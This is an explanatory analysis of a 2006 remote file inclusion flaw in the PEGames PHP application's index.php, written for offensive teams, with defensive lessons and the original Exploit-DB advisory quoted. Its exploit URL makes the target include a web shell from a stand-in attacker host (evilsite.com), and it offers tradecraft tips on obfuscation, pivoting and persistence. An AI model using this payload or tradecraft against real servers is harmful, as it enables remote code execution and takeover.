PEGames 'index.php' Remote File Inclusion: A Deep Dive for Offensive Teams

What this paper is

This paper details a Remote File Inclusion (RFI) vulnerability found in the index.php file of the PEGames web application. The vulnerability allows an attacker to include and execute arbitrary files from a remote server, potentially leading to full system compromise.

Simple technical breakdown

The core of the vulnerability lies in how the index.php script handles user-supplied input for the abs_url parameter. Instead of sanitizing this input, the script directly uses it in an include_once function. This function is designed to include PHP files. When an attacker provides a URL pointing to a malicious PHP file on their own server, the vulnerable script fetches and executes that remote file as if it were part of the PEGames application.

Complete code and payload walkthrough

The provided exploit paper is very concise and focuses on the vulnerability and its exploitation.

Vulnerable Code Snippet:

include_once("$abs_url/display.php");

• include_once("$abs_url/display.php");: This is the critical line.
  • include_once: This is a PHP construct that includes and evaluates the specified file. If the file has already been included, include_once will not include it again.
  • "$abs_url/display.php": This part constructs the path to the file to be included. The variable $abs_url is directly interpolated into the string. The vulnerability arises because $abs_url is expected to be a local path, but the exploit manipulates it to be a remote URL.

Exploit Snippet:

http://[target]/[path]/Index.php?abs_url=http://evilsite.com/shell?

• http://[target]/[path]/Index.php: This is the base URL of the vulnerable PEGames application.
  • [target]: Represents the IP address or hostname of the victim server.
  • [path]: Represents the directory path where PEGames is installed on the victim server.
  • Index.php: The vulnerable script.
• ?abs_url=http://evilsite.com/shell?: This is the exploit payload.
  • abs_url=: This is the GET parameter that the index.php script reads.
  • http://evilsite.com/shell?: This is the value provided for abs_url.
    • http://evilsite.com/shell: This is a URL pointing to a malicious script (e.g., a web shell) hosted on an attacker-controlled server (evilsite.com).
    • ?: The trailing question mark is often used to terminate the query string for the abs_url parameter itself, ensuring that the rest of the URL (if any) is not interpreted as part of the abs_url value by the include_once function. However, in this specific context, it might also be intended to ensure that the shell script itself can receive parameters if it's designed to do so.

Mapping list:

• include_once("$abs_url/display.php"); -> Practical Purpose: To dynamically include a PHP file. In this case, it's exploited to include a remote file.
• abs_url parameter -> Practical Purpose: User-controlled input that dictates the base URL for including files. Its unsanitized nature is the vulnerability.
• http://evilsite.com/shell -> Practical Purpose: The attacker-hosted malicious script (e.g., a PHP web shell) that will be executed on the target server.

Shellcode/Payload:

The paper does not provide explicit shellcode bytes. Instead, it describes the mechanism of delivering a payload: by pointing abs_url to a remote script (like shell). The actual "payload" is the content of the shell script hosted on evilsite.com.

Execution Stages:

1. Attacker crafts URL: The attacker constructs a URL like http://[target]/[path]/Index.php?abs_url=http://evilsite.com/shell.
2. Victim's server requests index.php: The victim's web server receives this request.
3. index.php executes: The index.php script starts running.
4. abs_url is read: The script reads the value of the abs_url parameter, which is http://evilsite.com/shell.
5. include_once is called: The line include_once("$abs_url/display.php"); becomes include_once("http://evilsite.com/shell/display.php");.
6. Remote file inclusion: PHP's include_once directive, when given a URL (and if allow_url_include is enabled in php.ini), attempts to fetch the content from the remote URL.
7. Remote script execution: The content of http://evilsite.com/shell (or http://evilsite.com/shell/display.php depending on how the server resolves it, but the exploit implies shell itself is the executable) is fetched and executed by the victim's PHP interpreter.
8. Payload execution: The code within the attacker's shell script runs on the victim's server, potentially granting the attacker control.

Practical details for offensive operations teams

• Required Access Level: Network access to the target web server (HTTP/HTTPS). No prior authentication is typically required if the vulnerable index.php is accessible anonymously.
• Lab Preconditions:
  • A local web server configured to serve PHP files (e.g., Apache with PHP).
  • A malicious PHP script (web shell) ready to be served from the local web server. Common web shells allow command execution, file browsing, etc.
  • A target web application that is a vulnerable version of PEGames.
• Tooling Assumptions:
  • A web browser for manual testing or a tool like curl for scripting.
  • A web server (e.g., Python's http.server, Apache) to host the malicious payload.
  • A proxy like Burp Suite or OWASP ZAP can be invaluable for intercepting and modifying requests.
• Execution Pitfalls:
  • allow_url_include directive: The most significant prerequisite for this RFI to work is that the allow_url_include directive in the target server's php.ini configuration must be set to On. If it's Off, the server will refuse to include remote files. This was a common misconfiguration in older PHP versions.
  • allow_url_fopen directive: While allow_url_include is the direct enabler, allow_url_fopen must also be On for PHP to be able to open URLs as files. If allow_url_fopen is Off, allow_url_include will have no effect.
  • Firewall/WAF: Network firewalls or Web Application Firewalls (WAFs) might block outbound connections from the target server to the attacker's server, or they might detect the malicious URL pattern.
  • Path Traversal/File Name Sanitization: If the application performs any sanitization on $abs_url (e.g., removing http:// or https://), the exploit might fail. However, this paper implies no such sanitization is present.
  • Payload Hosting: The attacker's server must be accessible from the target server.
  • Payload Name: The name of the payload file (shell in the example) must be correct and accessible at the specified URL.
  • PHP Version: Older PHP versions are more likely to have allow_url_include enabled by default or be misconfigured.
• Tradecraft Considerations:
  • Reconnaissance: Identify the target web application and its version. Look for common web application frameworks that might have known RFI vulnerabilities.
  • Payload Staging: Prepare a robust web shell that can execute commands, upload/download files, and potentially escalate privileges.
  • Obfuscation: If basic RFI detection is in place, consider encoding the payload URL or using different protocols if supported.
  • Post-Exploitation: Once a shell is obtained, immediately assess the environment, look for ways to pivot, and establish persistence.

Where this was used and when

• Context: This vulnerability was found in the PEGames web application, a PHP-based content management system or portal likely designed for gaming communities.
• Approximate Years/Dates: The exploit was published on 2006-11-23. Therefore, this vulnerability was actively exploitable around 2006 and likely for several years thereafter until the application was patched or updated, or server configurations were hardened. RFI vulnerabilities were prevalent in PHP applications of that era.

Defensive lessons for modern teams

• Input Validation and Sanitization: Never trust user input. Always validate and sanitize any data that is used in file operations, database queries, or system commands. For file inclusions, ensure that the input is strictly controlled and only allows known, safe local file paths.
• Disable allow_url_include and allow_url_fopen: In modern PHP deployments, these directives should almost always be disabled (Off) in php.ini unless there is an extremely specific and well-understood need for them. This is a critical security hardening step.
• Web Application Firewalls (WAFs): Deploy and properly configure WAFs to detect and block common attack patterns, including RFI attempts. Keep WAF rules updated.
• Regular Patching and Updates: Keep all web applications, frameworks, and server software (including PHP itself) up-to-date with the latest security patches.
• Least Privilege: Ensure that the web server process runs with the minimum necessary privileges. This limits the damage an attacker can do even if they achieve code execution.
• Secure Coding Practices: Train developers on secure coding principles, including avoiding insecure functions and understanding the risks of dynamic file inclusion.
• Network Segmentation and Egress Filtering: Implement network segmentation and egress filtering to prevent compromised servers from connecting to attacker-controlled infrastructure.

ASCII visual (if applicable)

+-----------------+      +-------------------+      +--------------------+
| Attacker's      |----->| Target Web Server |----->| Attacker's         |
| Machine         |      | (e.g., Apache)    |      | Payload Server     |
| (Crafts URL)    |      |                   |      | (e.g., http://evil)|
+-----------------+      +-------------------+      +--------------------+
                              |
                              | Request:
                              | GET /path/index.php?abs_url=http://evil/shell
                              |
                              v
                        +-------------------+
                        | index.php         |
                        | (Vulnerable App)  |
                        |                   |
                        | - Reads abs_url   |
                        | - include_once(   |
                        |   "$abs_url/..."  |
                        | )                 |
                        +-------------------+
                              |
                              | PHP fetches and executes:
                              | http://evil/shell
                              |
                              v
                        +--------------------+
                        | Malicious Script   |
                        | (e.g., web shell)  |
                        | Executed on Target |
                        +--------------------+

Source references

• Paper Title: PEGames - 'index.php' Remote File Inclusion
• Author: DeltahackingTEAM
• Published: 2006-11-23
• Exploit-DB ID: 2840
• URL: https://www.exploit-db.com/papers/2840
• Download Link Mentioned: http://ovh.dl.sourceforge.net/sourceforge/gamespe/PEGames.zip

Original Exploit-DB Content (Verbatim)

**********************************************************************************************************
                                              WwW.Deltahacking.NeT (Priv8  Site)
                                              WwW.Deltahacking.Ir    (Public Site)
**********************************************************************************************************

* Portal Name : PEGames

* Class = Remote File Inclusion ;
 
* Download =http://ovh.dl.sourceforge.net/sourceforge/gamespe/PEGames.zip

* Found by = DeltahackingTEAM

* User In Delta Team (Dr.Pantagon )

* With the special  thanks of my financial sponser Tanha
----------------------------------------------------------------------------------------------------------
- Vulnerable Code

include_once("$abs_url/display.php");
++++++++++++++++++++++++++++++++++++++++++++

- Exploit:

    http://[target]/[path]/Index.php?abs_url=http://evilsite.com/shell?

***********************
I LOVE YOU G.Malake
***********************
----------------------------------------------------------------------------------------------------------
Greetz:Tanha, Dr.Trojan , Hiv++ , D_7j ,Vpc

# milw0rm.com [2006-11-23]